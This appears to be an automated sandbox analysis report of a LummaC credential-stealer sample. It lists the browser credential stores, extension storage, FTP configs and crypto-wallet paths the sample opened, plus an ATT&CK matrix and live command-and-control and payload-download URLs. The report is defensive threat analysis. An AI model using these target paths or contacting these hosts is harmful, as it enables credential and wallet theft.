Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2158368253.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2160138342.00000000011D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2131989417.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2085113656.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2157912087.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2132556482.000000000117D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2160226481.0000000001182000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2158368253.000000000117E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2131989417.000000000117D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2157912087.000000000117D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2132556482.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2108745068.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2160312478.0000000001183000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5812, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5812, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	34 Virtualization/Sandbox Evasion	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	50%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.XPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://atten-supporse.biz/R	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apidnv	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apif%aX	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exed	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apite	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apio%hX	100%	Avira URL Cloud	malware
https://atten-supporse.biz/t	100%	Avira URL Cloud	malware
https://atten-supporse.biz/R	18%	Virustotal		Browse
http://185.215.113.16/off/def.exed	17%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	104.21.16.1	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
dare-curbys.biz	false	high
impend-differ.biz	false	high
dwell-exclaim.biz	false	high
zinc-sneark.biz	false	high
formy-spill.biz	false	high
se-blurry.biz	false	high
covery-mover.biz	false	high
https://atten-supporse.biz/api	false	high
atten-supporse.biz	false	high
print-vexer.biz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_123.5.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_123.5.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2157871926.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/R	file.exe, 00000000.00000003.2157871926.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://github.com/Youssef1313	chromecache_123.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_101.5.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_123.5.dr	false		high
https://atten-supporse.biz/apite	file.exe, 00000000.00000003.2180999724.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://atten-supporse.biz/apib	file.exe, 00000000.00000003.2339678528.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_123.5.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_123.5.dr, chromecache_86.5.dr, chromecache_124.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://github.com/gewarren	chromecache_123.5.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2133728411.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_115.5.dr, chromecache_101.5.dr	false		high
http://185.215.113.16/off/def.exed	file.exe, 00000000.00000003.2261833486.0000000001183000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_123.5.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_123.5.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_123.5.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://aka.ms/certhelp	chromecache_115.5.dr, chromecache_101.5.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000003.2342271177.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261833486.0000000001183000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407768214.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2418639442.0000000001180000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261907794.00000000011BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apif%aX	file.exe, 00000000.00000003.2197686261.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197835920.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_123.5.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_123.5.dr	false		high
https://schema.org	chromecache_101.5.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2133728411.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_123.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2085523465.00000000057BA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085406782.00000000057BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085458317.00000000057BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_123.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2157871926.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_123.5.dr	false		high
http://crl.micro	file.exe, 00000000.00000003.2059669872.0000000001184000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2085113656.000000000117E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160226481.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2084946354.000000000117C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2158368253.000000000117E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2132556482.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197852891.0000000001180000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2131989417.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180819004.0000000001180000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108745068.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157912087.000000000117D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160312478.0000000001183000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2157871926.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/off/def.exe	file.exe, 00000000.00000002.2415762115.0000000001138000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/l	file.exe, 00000000.00000003.2084946354.000000000117C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz:443/apiicrosoft	file.exe, 00000000.00000003.2262017178.000000000578D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_115.5.dr, chromecache_101.5.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2132432914.000000000588D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2157871926.0000000005819000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_115.5.dr, chromecache_101.5.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2157815281.0000000005816000.00000004.00000800.00020000.00000000.sdmp	false		high
